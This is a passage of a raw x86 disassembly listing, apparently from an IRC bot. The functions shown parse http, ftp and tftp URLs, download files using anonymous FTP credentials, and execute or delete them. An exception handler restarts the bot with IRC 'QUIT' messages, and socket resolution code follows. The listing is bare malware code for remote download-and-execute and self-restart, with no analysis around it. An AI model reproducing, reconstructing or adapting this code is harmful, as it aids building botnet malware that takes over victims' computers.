ecx xor eax, eax lea edi, [ebp+var_283] rep stosd stosw stosb mov al, byte_41DF00 mov [ebp+var_6BC], al push 1Fh pop ecx xor eax, eax lea edi, [ebp+var_6BB] rep stosd stosw stosb and [ebp+var_6C8], 0 lea eax, [ebp+var_534] push eax lea eax, [ebp+var_7DC] push eax mov eax, [ebp+var_63C] push dword ptr [eax] push offset dword_4185CC lea eax, [ebp+var_430] push eax call sub_40D53F add esp, 14h push 7 push offset dword_4185C4 lea eax, [ebp+var_638] push eax call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz loc_402B93 push 0 lea eax, [ebp+var_534] push eax lea eax, [ebp+var_631] push eax call dword_417060 ; CopyFileA test eax, eax jnz short loc_402B8E call dword_417064 ; RtlGetLastWin32Error cmp eax, 20h jnz short loc_402B58 lea eax, [ebp+var_534] push eax mov eax, [ebp+var_63C] push dword ptr [eax] push offset dword_41858C lea eax, [ebp+var_430] push eax call sub_40D53F add esp, 10h jmp short loc_402B7B ; --------------------------------------------------------------------------- loc_402B58: ; CODE XREF: sub_402A32+FFj lea eax, [ebp+var_631] push eax mov eax, [ebp+var_63C] push dword ptr [eax] push offset dword_41855C lea eax, [ebp+var_430] push eax call sub_40D53F add esp, 10h loc_402B7B: ; CODE XREF: sub_402A32+124j push [ebp+var_63C] call sub_409763 pop ecx xor eax, eax jmp loc_40325B ; --------------------------------------------------------------------------- loc_402B8E: ; CODE XREF: sub_402A32+F4j jmp loc_403256 ; --------------------------------------------------------------------------- loc_402B93: ; CODE XREF: sub_402A32+D6j lea eax, [ebp+var_638] push eax call sub_416B40 ; strlen pop ecx mov [ebp+var_6C0], eax jmp short loc_402BB5 ; --------------------------------------------------------------------------- loc_402BA8: ; CODE XREF: sub_402A32:loc_402CD8j mov eax, [ebp+var_6C0] dec eax mov [ebp+var_6C0], eax loc_402BB5: ; CODE XREF: sub_402A32+174j cmp [ebp+var_6C0], 0FFFFFFFFh jz loc_402CDD mov eax, [ebp+var_6C0] movsx eax, [ebp+eax+var_638] cmp eax, 3Ah jnz loc_402CD8 mov [ebp+var_7E0], 1 jmp short loc_402BF2 ; --------------------------------------------------------------------------- loc_402BE5: ; CODE XREF: sub_402A32:loc_402CD3j mov eax, [ebp+var_7E0] inc eax mov [ebp+var_7E0], eax loc_402BF2: ; CODE XREF: sub_402A32+1B1j mov eax, [ebp+var_6C0] add eax, [ebp+var_7E0] movsx eax, [ebp+eax+var_638] test eax, eax jz short loc_402C23 mov eax, [ebp+var_6C0] add eax, [ebp+var_7E0] movsx eax, [ebp+eax+var_638] cmp eax, 2Fh jnz short loc_402C7A loc_402C23: ; CODE XREF: sub_402A32+1D6j mov eax, [ebp+var_7E0] and [ebp+eax+var_6D5], 0 lea eax, [ebp+var_6D4] push eax call sub_40422A pop ecx test eax, eax jz short loc_402C75 mov eax, [ebp+var_6C0] lea eax, [ebp+eax+var_638] add eax, [ebp+var_7E0] push eax mov eax, [ebp+var_6C0] lea eax, [ebp+eax+var_638] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx mov [ebp+var_6C8], 1 loc_402C75: ; CODE XREF: sub_402A32+20Ej jmp loc_403251 ; --------------------------------------------------------------------------- loc_402C7A: ; CODE XREF: sub_402A32+1EFj mov eax, [ebp+var_6C0] add eax, [ebp+var_7E0] movsx eax, [ebp+eax+var_638] cmp eax, 30h jl short loc_402CCE mov eax, [ebp+var_6C0] add eax, [ebp+var_7E0] movsx eax, [ebp+eax+var_638] cmp eax, 39h jg short loc_402CCE mov eax, [ebp+var_6C0] add eax, [ebp+var_7E0] mov ecx, [ebp+var_7E0] mov al, [ebp+eax+var_638] mov [ebp+ecx+var_6D5], al jmp short loc_402CD3 ; --------------------------------------------------------------------------- loc_402CCE: ; CODE XREF: sub_402A32+25Fj ; sub_402A32+278j jmp loc_40324C ; --------------------------------------------------------------------------- loc_402CD3: ; CODE XREF: sub_402A32+29Aj jmp loc_402BE5 ; --------------------------------------------------------------------------- loc_402CD8: ; CODE XREF: sub_402A32+1A1j jmp loc_402BA8 ; --------------------------------------------------------------------------- loc_402CDD: ; CODE XREF: sub_402A32+18Aj ; sub_402A32:loc_40324Cj ... push 7 push offset aHttp ; "http://" lea eax, [ebp+var_638] push eax call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_402D37 cmp [ebp+var_6C8], 0 jnz short loc_402D13 push offset a80 ; "80" lea eax, [ebp+var_6D4] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx loc_402D13: ; CODE XREF: sub_402A32+2CCj lea eax, [ebp+var_631] push eax lea eax, [ebp+var_638] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx mov [ebp+var_6CC], 1 jmp loc_402E3D ; --------------------------------------------------------------------------- loc_402D37: ; CODE XREF: sub_402A32+2C3j push 6 push offset aFtp ; "ftp://" lea eax, [ebp+var_638] push eax call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_402DB7 cmp [ebp+var_6C8], 0 jnz short loc_402D6D push offset a21 ; "21" lea eax, [ebp+var_6D4] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx loc_402D6D: ; CODE XREF: sub_402A32+326j lea eax, [ebp+var_632] push eax lea eax, [ebp+var_638] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx mov [ebp+var_6CC], 2 push offset aAnonymous ; "anonymous" lea eax, [ebp+var_284] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx push offset aAnonymous ; "anonymous" lea eax, [ebp+var_6BC] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp loc_402E3D ; --------------------------------------------------------------------------- loc_402DB7: ; CODE XREF: sub_402A32+31Dj push 7 push offset aTftp ; "tftp://" lea eax, [ebp+var_638] push eax call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_402E0E cmp [ebp+var_6C8], 0 jnz short loc_402DED push offset a69 ; "69" lea eax, [ebp+var_6D4] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx loc_402DED: ; CODE XREF: sub_402A32+3A6j lea eax, [ebp+var_631] push eax lea eax, [ebp+var_638] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx mov [ebp+var_6CC], 3 jmp short loc_402E3D ; --------------------------------------------------------------------------- loc_402E0E: ; CODE XREF: sub_402A32+39Dj mov eax, [ebp+var_63C] push dword ptr [eax] push offset unk_418500 lea eax, [ebp+var_430] push eax call sub_40D53F add esp, 0Ch push [ebp+var_63C] call sub_409763 pop ecx xor eax, eax jmp loc_40325B ; --------------------------------------------------------------------------- loc_402E3D: ; CODE XREF: sub_402A32+300j ; sub_402A32+380j ... lea eax, [ebp+var_638] push eax call sub_416B40 ; strlen pop ecx mov [ebp+var_6C0], eax jmp short loc_402E5F ; --------------------------------------------------------------------------- loc_402E52: ; CODE XREF: sub_402A32:loc_402F11j mov eax, [ebp+var_6C0] dec eax mov [ebp+var_6C0], eax loc_402E5F: ; CODE XREF: sub_402A32+41Ej cmp [ebp+var_6C0], 0FFFFFFFFh jz loc_402F16 mov eax, [ebp+var_6C0] movsx eax, [ebp+eax+var_638] cmp eax, 40h jnz loc_402F11 mov eax, [ebp+var_6C0] and [ebp+eax+var_638], 0 push offset asc_4184FC ; ":" lea eax, [ebp+var_638] push eax call sub_416BA8 ; strstr pop ecx pop ecx mov [ebp+var_7E4], eax cmp [ebp+var_7E4], 0 jz short loc_402ED8 mov eax, [ebp+var_7E4] and byte ptr [eax], 0 push 80h mov eax, [ebp+var_7E4] inc eax push eax lea eax, [ebp+var_6BC] push eax call sub_407A56 add esp, 0Ch loc_402ED8: ; CODE XREF: sub_402A32+47Fj push 80h lea eax, [ebp+var_638] push eax lea eax, [ebp+var_284] push eax call sub_407A56 add esp, 0Ch mov eax, [ebp+var_6C0] lea eax, [ebp+eax+var_637] push eax lea eax, [ebp+var_638] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_402F16 ; --------------------------------------------------------------------------- loc_402F11: ; CODE XREF: sub_402A32+44Bj jmp loc_402E52 ; --------------------------------------------------------------------------- loc_402F16: ; CODE XREF: sub_402A32+434j ; sub_402A32+4DDj push offset asc_4184F8 ; "/" lea eax, [ebp+var_638] push eax call sub_416BA8 ; strstr pop ecx pop ecx mov [ebp+var_288], eax cmp [ebp+var_288], 0 jnz short loc_402F67 mov eax, [ebp+var_63C] push dword ptr [eax] push offset unk_4184CC lea eax, [ebp+var_430] push eax call sub_40D53F add esp, 0Ch push [ebp+var_63C] call sub_409763 pop ecx xor eax, eax jmp loc_40325B ; --------------------------------------------------------------------------- loc_402F67: ; CODE XREF: sub_402A32+504j mov eax, [ebp+var_288] inc eax push eax lea eax, [ebp+var_204] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx mov eax, [ebp+var_288] and byte ptr [eax], 0 lea eax, [ebp+var_638] push eax lea eax, [ebp+var_100] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx call sub_416B64 ; clock mov [ebp-6D8h], eax and [ebp+var_6C4], 0 cmp [ebp+var_6CC], 1 jnz short loc_403009 push [ebp+var_63C] movsx eax, [ebp+var_2A8] neg eax sbb eax, eax neg eax push eax lea eax, [ebp+var_6C4] push eax lea eax, [ebp+var_534] push eax lea eax, [ebp+var_204] push eax lea eax, [ebp+var_6D4] push eax lea eax, [ebp+var_100] push eax lea eax, [ebp+var_6BC] push eax lea eax, [ebp+var_284] push eax call sub_402698 add esp, 24h mov [ebp+var_28C], eax loc_403009: ; CODE XREF: sub_402A32+582j cmp [ebp+var_6CC], 2 jnz short loc_403065 push [ebp+var_63C] movsx eax, [ebp+var_2A8] neg eax sbb eax, eax neg eax push eax lea eax, [ebp+var_6C4] push eax lea eax, [ebp+var_534] push eax lea eax, [ebp+var_204] push eax lea eax, [ebp+var_6D4] push eax lea eax, [ebp+var_100] push eax lea eax, [ebp+var_6BC] push eax lea eax, [ebp+var_284] push eax call sub_402A24 add esp, 24h mov [ebp+var_28C], eax loc_403065: ; CODE XREF: sub_402A32+5DEj cmp [ebp+var_6CC], 3 jnz short loc_4030B3 push [ebp+var_63C] movsx eax, [ebp+var_2A8] neg eax sbb eax, eax neg eax push eax lea eax, [ebp+var_6C4] push eax lea eax, [ebp+var_534] push eax lea eax, [ebp+var_204] push eax lea eax, [ebp+var_6D4] push eax lea eax, [ebp+var_100] push eax call sub_402A2B add esp, 1Ch mov [ebp+var_28C], eax loc_4030B3: ; CODE XREF: sub_402A32+63Aj ; sub_402A32:loc_403256j cmp [ebp+var_28C], 1 jnz loc_403219 movsx eax, [ebp+var_296] test eax, eax jz short loc_4030D7 mov [ebp+var_7EC], offset dword_4184C0 jmp short loc_403104 ; --------------------------------------------------------------------------- loc_4030D7: ; CODE XREF: sub_402A32+697j movsx eax, [ebp+var_2A6] test eax, eax jz short loc_4030EE mov [ebp+var_7F0], offset dword_4184B4 jmp short loc_4030F8 ; --------------------------------------------------------------------------- loc_4030EE: ; CODE XREF: sub_402A32+6AEj mov [ebp+var_7F0], offset byte_41DF00 loc_4030F8: ; CODE XREF: sub_402A32+6BAj mov eax, [ebp+var_7F0] mov [ebp+var_7EC], eax loc_403104: ; CODE XREF: sub_402A32+6A3j push [ebp+var_7EC] mov eax, [ebp+var_6C4] shr eax, 0Ah mov dword ptr [ebp+var_7F8], eax and dword ptr [ebp+var_7F8+4], 0 fild [ebp+var_7F8] fstp [ebp+var_7FC] call sub_416B64 ; clock sub eax, [ebp-6D8h] mov dword ptr [ebp+var_804], eax and dword ptr [ebp+var_804+4], 0 fild [ebp+var_804] fdiv flt_417270 fdivr [ebp+var_7FC] push ecx push ecx fstp [esp+814h+var_814] lea eax, [ebp+var_534] push eax mov eax, [ebp+var_63C] push dword ptr [eax] push offset dword_41846C lea eax, [ebp+var_430] push eax call sub_40D53F add esp, 1Ch movsx eax, [ebp+var_2A7] test eax, eax jz short loc_403198 lea eax, [ebp+var_534] push eax call dword_4170AC ; DeleteFileA jmp short loc_403217 ; --------------------------------------------------------------------------- loc_403198: ; CODE XREF: sub_402A32+755j movsx eax, [ebp+var_2A6] test eax, eax jnz short loc_4031AE movsx eax, [ebp+var_296] test eax, eax jz short loc_403217 loc_4031AE: ; CODE XREF: sub_402A32+76Fj movsx eax, [ebp+var_2A3] neg eax sbb eax, eax inc eax push eax push 0 push 0 lea eax, [ebp+var_534] push eax push offset aOpen ; "open" push 0 call dword_4171D0 mov [ebp+var_7E8], eax cmp [ebp+var_7E8], 20h jbe short loc_4031F4 movsx eax, [ebp+var_296] test eax, eax jz short loc_4031F2 call sub_407148 loc_4031F2: ; CODE XREF: sub_402A32+7B9j jmp short loc_403217 ; --------------------------------------------------------------------------- loc_4031F4: ; CODE XREF: sub_402A32+7AEj lea eax, [ebp+var_534] push eax mov eax, [ebp+var_63C] push dword ptr [eax] push offset dword_418444 lea eax, [ebp+var_430] push eax call sub_40D53F add esp, 10h loc_403217: ; CODE XREF: sub_402A32+764j ; sub_402A32+77Aj ... jmp short loc_40323C ; --------------------------------------------------------------------------- loc_403219: ; CODE XREF: sub_402A32+688j lea eax, [ebp+var_7DC] push eax mov eax, [ebp+var_63C] push dword ptr [eax] push offset dword_418414 lea eax, [ebp+var_430] push eax call sub_40D53F add esp, 10h loc_40323C: ; CODE XREF: sub_402A32:loc_403217j push [ebp+var_63C] call sub_409763 pop ecx xor eax, eax jmp short loc_40325B ; --------------------------------------------------------------------------- loc_40324C: ; CODE XREF: sub_402A32:loc_402CCEj jmp loc_402CDD ; --------------------------------------------------------------------------- loc_403251: ; CODE XREF: sub_402A32:loc_402C75j jmp loc_402CDD ; --------------------------------------------------------------------------- loc_403256: ; CODE XREF: sub_402A32:loc_402B8Ej jmp loc_4030B3 ; --------------------------------------------------------------------------- loc_40325B: ; CODE XREF: sub_402A32+157j ; sub_402A32+406j ... pop edi leave retn 4 sub_402A32 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403260 proc near ; CODE XREF: sub_40A9CF+959p var_14 = dword ptr -14h var_10 = byte ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 14h cmp [ebp+arg_4], 0 jnz short loc_403271 jmp locret_403329 ; --------------------------------------------------------------------------- loc_403271: ; CODE XREF: sub_403260+Aj push 3AFh call sub_416B46 ; malloc pop ecx mov [ebp+var_14], eax cmp [ebp+var_14], 0 jnz short loc_40328A jmp locret_403329 ; --------------------------------------------------------------------------- loc_40328A: ; CODE XREF: sub_403260+23j push 8 push 7Ah push 61h push 4 lea eax, [ebp+var_10] push eax call sub_410501 add esp, 14h and [ebp+eax+var_10], 0 push offset dword_418620 lea eax, [ebp+var_10] push eax call sub_416B70 ; _mbscat pop ecx pop ecx cmp [ebp+arg_8], 0 jnz short loc_4032BF lea eax, [ebp+var_10] mov [ebp+arg_8], eax loc_4032BF: ; CODE XREF: sub_403260+57j push 104h push [ebp+arg_4] mov eax, [ebp+var_14] add eax, 4 push eax call sub_407A56 add esp, 0Ch push 104h push [ebp+arg_8] mov eax, [ebp+var_14] add eax, 108h push eax call sub_407A56 add esp, 0Ch push [ebp+arg_0] mov eax, [ebp+var_14] add eax, 20Ch push eax call sub_405F67 pop ecx pop ecx mov eax, [ebp+var_14] add eax, 108h push eax mov eax, [ebp+var_14] add eax, 4 push eax push offset dword_4185FC push 0 push [ebp+var_14] push offset sub_402A32 call sub_4095A4 add esp, 18h locret_403329: ; CODE XREF: sub_403260+Cj ; sub_403260+25j leave retn sub_403260 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40332B proc near ; CODE XREF: sub_4093B6+A0p ; sub_4094E6+9Bp ... var_114 = dword ptr -114h var_110 = dword ptr -110h var_10C = byte ptr -10Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 114h push 1 push offset dword_41DF0C call sub_409C88 pop ecx pop ecx mov [ebp+var_4], eax cmp dword_41DF08, 0 jz loc_4034D9 mov [ebp+var_8], offset aException_othe ; "EXCEPTION_OTHER" mov eax, [ebp+arg_0] mov eax, [eax] mov eax, [eax] mov [ebp+var_110], eax cmp [ebp+var_110], 0C0000025h ja short loc_4033A4 cmp [ebp+var_110], 0C0000025h jz short loc_4033FA cmp [ebp+var_110], 80000003h jz short loc_4033DF cmp [ebp+var_110], 0C0000005h jz short loc_4033D6 cmp [ebp+var_110], 0C000001Dh jz short loc_4033E8 jmp short loc_403413 ; --------------------------------------------------------------------------- loc_4033A4: ; CODE XREF: sub_40332B+45j cmp [ebp+var_110], 0C000008Dh jb short loc_403413 cmp [ebp+var_110], 0C0000093h jbe short loc_40340C cmp [ebp+var_110], 0C0000094h jz short loc_4033F1 cmp [ebp+var_110], 0C00000FDh jz short loc_403403 jmp short loc_403413 ; --------------------------------------------------------------------------- loc_4033D6: ; CODE XREF: sub_40332B+69j mov [ebp+var_8], offset aException_acce ; "EXCEPTION_ACCESS_VIOLATION" jmp short loc_403413 ; --------------------------------------------------------------------------- loc_4033DF: ; CODE XREF: sub_40332B+5Dj mov [ebp+var_8], offset aException_brea ; "EXCEPTION_BREAKPOINT" jmp short loc_403413 ; --------------------------------------------------------------------------- loc_4033E8: ; CODE XREF: sub_40332B+75j mov [ebp+var_8], offset aException_ille ; "EXCEPTION_ILLEGAL_INSTRUCTION" jmp short loc_403413 ; --------------------------------------------------------------------------- loc_4033F1: ; CODE XREF: sub_40332B+9Bj mov [ebp+var_8], offset aException_int_ ; "EXCEPTION_INT_DIVIDE_BY_ZERO" jmp short loc_403413 ; --------------------------------------------------------------------------- loc_4033FA: ; CODE XREF: sub_40332B+51j mov [ebp+var_8], offset aException_nonc ; "EXCEPTION_NONCONTINUABLE_EXCEPTION" jmp short loc_403413 ; --------------------------------------------------------------------------- loc_403403: ; CODE XREF: sub_40332B+A7j mov [ebp+var_8], offset aException_stac ; "EXCEPTION_STACK_OVERFLOW" jmp short loc_403413 ; --------------------------------------------------------------------------- loc_40340C: ; CODE XREF: sub_40332B+8Fj mov [ebp+var_8], offset aException_flt ; "EXCEPTION_FLT" loc_403413: ; CODE XREF: sub_40332B+77j ; sub_40332B+83j ... mov eax, [ebp+arg_0] mov eax, [eax] cmp dword ptr [eax+4], 1 jnz short loc_40342A mov [ebp+var_114], offset aRestarting ; "Restarting" jmp short loc_403434 ; --------------------------------------------------------------------------- loc_40342A: ; CODE XREF: sub_40332B+F1j mov [ebp+var_114], offset aContinuing ; "Continuing" loc_403434: ; CODE XREF: sub_40332B+FDj push [ebp+var_114] push [ebp+var_8] mov eax, [ebp+arg_0] mov eax, [eax] push dword ptr [eax] mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+0C0h] mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+0B8h] mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+0C4h] mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+0B4h] mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+9Ch] mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+0A0h] mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+0A8h] mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+0ACh] mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+0A4h] mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+0B0h] mov eax, [ebp+var_4] inc eax push eax push [ebp+arg_8] push [ebp+arg_4] push offset dword_41864C push offset dword_41DB88 call sub_40D4AB add esp, 48h loc_4034D9: ; CODE XREF: sub_40332B+21j mov eax, [ebp+var_4] inc eax cmp eax, 64h jz short loc_4034ED mov eax, [ebp+arg_0] mov eax, [eax] cmp dword ptr [eax+4], 1 jnz short loc_403558 loc_4034ED: ; CODE XREF: sub_40332B+1B5j push 104h lea eax, [ebp+var_10C] push eax push 0 call dword_41708C ; GetModuleHandleA push eax call dword_417090 ; GetModuleFileNameA test eax, eax jz short loc_403545 push 0 push 0 push 0 lea eax, [ebp+var_10C] push eax push offset aOpen ; "open" push 0 call dword_4171D0 cmp eax, 20h ja short loc_403538 push offset aQuitExitting ; "QUIT :exitting" call sub_40D6CB pop ecx jmp short loc_403543 ; --------------------------------------------------------------------------- loc_403538: ; CODE XREF: sub_40332B+1FEj push offset aQuitRestarting ; "QUIT :restarting" call sub_40D6CB pop ecx loc_403543: ; CODE XREF: sub_40332B+20Bj jmp short loc_403550 ; --------------------------------------------------------------------------- loc_403545: ; CODE XREF: sub_40332B+1DFj push offset aQuitRestarting ; "QUIT :restarting" call sub_40D6CB pop ecx loc_403550: ; CODE XREF: sub_40332B:loc_403543j push 0 call dword_41705C ; ExitProcess loc_403558: ; CODE XREF: sub_40332B+1C0j mov eax, [ebp+arg_0] mov eax, [eax] cmp dword ptr [eax], 80000003h jnz short loc_403583 mov eax, [ebp+arg_0] mov eax, [eax+4] mov eax, [eax+0B8h] inc eax mov ecx, [ebp+arg_0] mov ecx, [ecx+4] mov [ecx+0B8h], eax or eax, 0FFFFFFFFh jmp short locret_403586 ; --------------------------------------------------------------------------- loc_403583: ; CODE XREF: sub_40332B+238j push 1 pop eax locret_403586: ; CODE XREF: sub_40332B+256j leave retn sub_40332B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403588 proc near ; DATA XREF: sub_403BD3:loc_403D85o var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2E = word ptr -2Eh var_2C = dword ptr -2Ch var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 48h cmp [ebp+arg_8], 0 jz short loc_4035E2 mov eax, [ebp+arg_8] cmp dword ptr [eax+4], 0 jz short loc_4035BB mov eax, [ebp+arg_8] cmp dword ptr [eax+4], 2 jz short loc_4035BB push 273Fh call dword_417234 ; WSASetLastError mov eax, 273Fh jmp locret_4038B6 ; --------------------------------------------------------------------------- loc_4035BB: ; CODE XREF: sub_403588+13j ; sub_403588+1Cj mov eax, [ebp+arg_8] cmp dword ptr [eax+8], 1 jz short loc_4035E2 mov eax, [ebp+arg_8] cmp dword ptr [eax+8], 2 jz short loc_4035E2 push 273Ch call dword_417234 ; WSASetLastError mov eax, 273Ch jmp locret_4038B6 ; --------------------------------------------------------------------------- loc_4035E2: ; CODE XREF: sub_403588+Aj ; sub_403588+3Aj ... cmp [ebp+arg_0], 0 jnz loc_4036D6 push 30h call sub_416B46 ; malloc pop ecx mov [ebp+var_34], eax cmp [ebp+var_34], 0 jnz short loc_40360D push 8 call dword_417234 ; WSASetLastError push 8 pop eax jmp locret_4038B6 ; --------------------------------------------------------------------------- loc_40360D: ; CODE XREF: sub_403588+73j push 30h push 0 push [ebp+var_34] call sub_416B6A ; memset add esp, 0Ch push 10h push 0 lea eax, [ebp+var_30] push eax call sub_416B6A ; memset add esp, 0Ch mov [ebp+var_30], 2 cmp [ebp+arg_4], 0 jz short loc_40364C push [ebp+arg_4] call sub_416B9C ; atoi pop ecx push eax call dword_417238 ; htons mov [ebp+var_2E], ax loc_40364C: ; CODE XREF: sub_403588+AEj mov eax, [ebp+var_34] mov dword ptr [eax+4], 2 cmp [ebp+arg_8], 0 jz short loc_403667 mov eax, [ebp+arg_8] mov eax, [eax+8] mov [ebp+var_38], eax jmp short loc_40366E ; --------------------------------------------------------------------------- loc_403667: ; CODE XREF: sub_403588+D2j mov [ebp+var_38], 1 loc_40366E: ; CODE XREF: sub_403588+DDj mov eax, [ebp+var_34] mov ecx, [ebp+var_38] mov [eax+8], ecx cmp [ebp+arg_8], 0 jz short loc_403688 mov eax, [ebp+arg_8] mov eax, [eax+0Ch] mov [ebp+var_3C], eax jmp short loc_40368F ; --------------------------------------------------------------------------- loc_403688: ; CODE XREF: sub_403588+F3j mov [ebp+var_3C], 6 loc_40368F: ; CODE XREF: sub_403588+FEj mov eax, [ebp+var_34] mov ecx, [ebp+var_3C] mov [eax+0Ch], ecx mov eax, [ebp+var_34] mov dword ptr [eax+10h], 10h mov eax, [ebp+var_34] add eax, 20h mov ecx, [ebp+var_34] mov [ecx+18h], eax and [ebp+var_2C], 0 push 10h lea eax, [ebp+var_30] push eax mov eax, [ebp+var_34] add eax, 20h push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+arg_C] mov ecx, [ebp+var_34] mov [eax], ecx xor eax, eax jmp locret_4038B6 ; --------------------------------------------------------------------------- loc_4036D6: ; CODE XREF: sub_403588+5Ej push [ebp+arg_0] call dword_41723C ; gethostbyname mov [ebp+var_14], eax cmp [ebp+var_14], 0 jnz short loc_4036F2 mov eax, 2AFBh jmp locret_4038B6 ; --------------------------------------------------------------------------- loc_4036F2: ; CODE XREF: sub_403588+15Ej and [ebp+var_20], 0 jmp short loc_4036FF ; --------------------------------------------------------------------------- loc_4036F8: ; CODE XREF: sub_403588+18Cj mov eax, [ebp+var_20] inc eax mov [ebp+var_20], eax loc_4036FF: ; CODE XREF: sub_403588+16Ej cmp [ebp+var_14], 0 jz short loc_403716 mov eax, [ebp+var_14] mov eax, [eax+0Ch] mov ecx, [ebp+var_20] cmp dword ptr [eax+ecx*4], 0 jz short loc_403716 jmp short loc_4036F8 ; --------------------------------------------------------------------------- loc_403716: ; CODE XREF: sub_403588+17Bj ; sub_403588+18Aj cmp [ebp+var_20], 0 jnz short loc_403726 mov eax, 2AFBh jmp locret_4038B6 ; --------------------------------------------------------------------------- loc_403726: ; CODE XREF: sub_403588+192j mov eax, [ebp+var_20] imul eax, 30h push eax call sub_416B46 ; malloc pop ecx mov [ebp+var_1C], eax cmp [ebp+var_1C], 0 jnz short loc_40374C push 8 call dword_417234 ; WSASetLastError push 8 pop eax jmp locret_4038B6 ; --------------------------------------------------------------------------- loc_40374C: ; CODE XREF: sub_403588+1B2j mov eax, [ebp+var_20] imul eax, 30h push eax push 0 push [ebp+var_1C] call sub_416B6A ; memset add esp, 0Ch push 10h push 0 lea eax, [ebp+var_10] push eax call sub_416B6A ; memset add esp, 0Ch mov [ebp+var_10], 2 cmp [ebp+arg_4], 0 jz short loc_403790 push [ebp+arg_4] call sub_416B9C ; atoi pop ecx push eax call dword_417238 ; htons mov [ebp+var_E], ax loc_403790: ; CODE XREF: sub_403588+1F2j and [ebp+var_18], 0 jmp short loc_40379D ; --------------------------------------------------------------------------- loc_403796: ; CODE XREF: sub_403588:loc_4038A7j mov eax, [ebp+var_18] inc eax mov [ebp+var_18], eax loc_40379D: ; CODE XREF: sub_403588+20Cj mov eax, [ebp+var_18] cmp eax, [ebp+var_20] jnb loc_4038AC cmp [ebp+arg_8], 0 jz short loc_4037B9 mov eax, [ebp+arg_8] mov eax, [eax] mov [ebp+var_40], eax jmp short loc_4037C0 ; --------------------------------------------------------------------------- loc_4037B9: ; CODE XREF: sub_403588+225j mov [ebp+var_40], 4 loc_4037C0: ; CODE XREF: sub_403588+22Fj mov eax, [ebp+var_18] imul eax, 30h mov ecx, [ebp+var_1C] mov edx, [ebp+var_40] mov [ecx+eax], edx mov eax, [ebp+var_18] imul eax, 30h mov ecx, [ebp+var_1C] mov dword ptr [ecx+eax+4], 2 cmp [ebp+arg_8], 0 jz short loc_4037F1 mov eax, [ebp+arg_8] mov eax, [eax+8] mov [ebp+var_44], eax jmp short loc_4037F8 ; --------------------------------------------------------------------------- loc_4037F1: ; CODE XREF: sub_403588+25Cj mov [ebp+var_44], 1 loc_4037F8: ; CODE XREF: sub_403588+267j mov eax, [ebp+var_18] imul eax, 30h mov ecx, [ebp+var_1C] mov edx, [ebp+var_44] mov [ecx+eax+8], edx cmp [ebp+arg_8], 0 jz short loc_403819 mov eax, [ebp+arg_8] mov eax, [eax+0Ch] mov [ebp+var_48], eax jmp short loc_403820 ; --------------------------------------------------------------------------- loc_403819: ; CODE XREF: sub_403588+284j mov [ebp+var_48], 6 loc_403820: ; CODE XREF: sub_403588+28Fj mov eax, [ebp+var_18] imul eax, 30h mov ecx, [ebp+var_1C] mov edx, [ebp+var_48] mov [ecx+eax+0Ch], edx mov eax, [ebp+var_18] imul eax, 30h mov ecx, [ebp+var_1C] mov dword ptr [ecx+eax+10h], 10h mov eax, [ebp+var_18] imul eax, 30h mov ecx, [ebp+var_1C] lea eax, [ecx+eax+20h] mov ecx, [ebp+var_18] imul ecx, 30h mov edx, [ebp+var_1C] mov [edx+ecx+18h], eax mov eax, [ebp+var_14] mov eax, [eax+0Ch] mov ecx, [ebp+var_18] mov eax, [eax+ecx*4] mov eax, [eax] mov [ebp+var_C], eax push 10h lea eax, [ebp+var_10] push eax mov eax, [ebp+var_18] imul eax, 30h mov ecx, [ebp+var_1C] lea eax, [ecx+eax+20h] push eax call sub_416B52 ; memcpy add esp, 0Ch cmp [ebp+var_18], 0 jz short loc_4038A7 mov eax, [ebp+var_18] imul eax, 30h mov ecx, [ebp+var_1C] add ecx, eax mov eax, [ebp+var_18] dec eax imul eax, 30h mov edx, [ebp+var_1C] mov [edx+eax+1Ch], ecx loc_4038A7: ; CODE XREF: sub_403588+304j jmp loc_403796 ; --------------------------------------------------------------------------- loc_4038AC: ; CODE XREF: sub_403588+21Bj mov eax, [ebp+arg_C] mov ecx, [ebp+var_1C] mov [eax], ecx xor eax, eax locret_4038B6: ; CODE XREF: 